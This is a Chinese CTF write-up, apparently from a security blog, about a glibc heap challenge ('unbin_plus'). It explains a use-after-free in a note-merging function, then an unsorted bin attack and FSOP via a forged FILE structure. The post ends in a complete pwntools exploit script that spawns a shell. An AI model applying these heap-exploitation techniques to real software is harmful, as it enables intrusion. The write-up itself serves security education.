首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次干掉保护全开PWN的冒险旅程

记一次干掉保护全开PWN的冒险旅程

作者头像
用户1631416
发布2021-01-12 15:30:07
8370
发布2021-01-12 15:30:07
举报
文章被收录于专栏:玄魂工作室玄魂工作室

0x00前言: 很多人说之前发的文章有一些软文的意思,真有意思,那发点不软的,233

(昨天遗漏的图,233)

0x01漏洞

程序保护全开。

核心漏洞点在Merge函数中,在程序读入了from index与 to index后,完成一个合并的操作,然后将from index指向的那个堆内存free。那么如果merge时输入的2个index相同,在完成合并后那块内容指向的chunk将被free,但是我们依然可以读写那块chunk,造成use after free。

0x02利用

利用思路是利用Merge函数的UAF来泄漏libc地址和heap地址,然后利用unsorted_bin_attack来修改全局变量 global_max_fast。之后可以复写_IO_list_all指针用FILE来进行攻击。但是_IO_list_all指针地址到main_arena中fastbin数组的地址的距离转换成对应的堆的size达到了0x1410,但是题目中限制了堆申请的大小只能为0x80到0x800,

所以似乎无法控制0x1410大小的堆块。在Merge函数中,把两个Note合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过0x800,最终达到申请任意堆块大小的目的。所以可以Merge出相应大小的堆块并将其内容填写成伪造的FILE结构体,free该堆块至_IO_list_all指针中,最终触发FSOP来get shell。

0x03完整EXP:

from pwn import *

# context.log_level = 'debug'

io = process('./unbin_plus')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Menu(cmd):
  io.recvuntil('Choice >>')
  io.sendline(str(cmd))

def Insert(data):
  Menu(1)
  io.recvuntil('size:')
  io.sendline(str(len(data)))
  io.recvuntil('data:')
  io.send(data)

def View(idx):
  Menu(2)
  io.recvuntil('index:')
  io.sendline(str(idx))

def List():
  Menu(3)

def Delete(idx):
  Menu(4)
  io.recvuntil('index:')
  io.sendline(str(idx))

def Merge(idx1, idx2):
  Menu(5)
  io.recvuntil('from note:')
  io.sendline(str(idx1))
  io.recvuntil('to note:')
  io.sendline(str(idx2))

def Update(idx, data):
  Menu(6)
  io.recvuntil('index:')
  io.sendline(str(idx))
  io.recvuntil('size:')
  io.sendline(str(len(data)))
  io.recvuntil('data:')
  io.send(data)

Insert('A'*8) #0
Insert('/bin/sh\x00') #1
Insert('B'*8) #2
Insert('D'*8) #3
Insert('E'*0x91) #4
Insert('F'*0x800) #5
Insert('G'*0x800) #6
Insert('H'*0x400) #7
Insert('M'*0x100) #8
Insert('N'*8) #9
Insert('P'*8) #10
Insert('Q'*8) #11

Delete(0)
Merge(2, 2) #0

View(0)
io.recvuntil('Note.0 :')

heap_base = u64(io.recvn(8))
log.info('heap_base = ' + hex(heap_base))

bins_addr = u64(io.recvn(8))
libc_base = bins_addr - 0x3c4b78
log.info('libc_base = ' + hex(libc_base))

global_max_fast_addr = libc_base + 0x3c67f8
one_gadget = libc_base + 0xf1147
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()

payload = p64(one_gadget)*(0x100/8)
Update(8, payload)

fake_IO_FILE = '\x00'*0x10
fake_IO_FILE += p64(1)
fake_IO_FILE += p64(2)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, '\x00')
fake_IO_FILE += p64(heap_base + 0x1720)        #change vtable point to note8
payload = fake_IO_FILE.ljust(0x400, '\x00')
Update(7, payload)

Merge(5, 6) #2
Merge(2, 7) #5  0x1410

# unsortedbin attack
Merge(10, 10) #2

Update(2, '\x00'*8 + p64(global_max_fast_addr - 0x10))
Insert('A'*8) #6
Insert('B'*8) #7
Insert('C'*8) #10

Delete(5) # make _IO_list_all point to note5

Menu(1)
io.recvuntil('size:')
io.sendline(str(666))

# gdb.attach(io)
# pause()
io.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档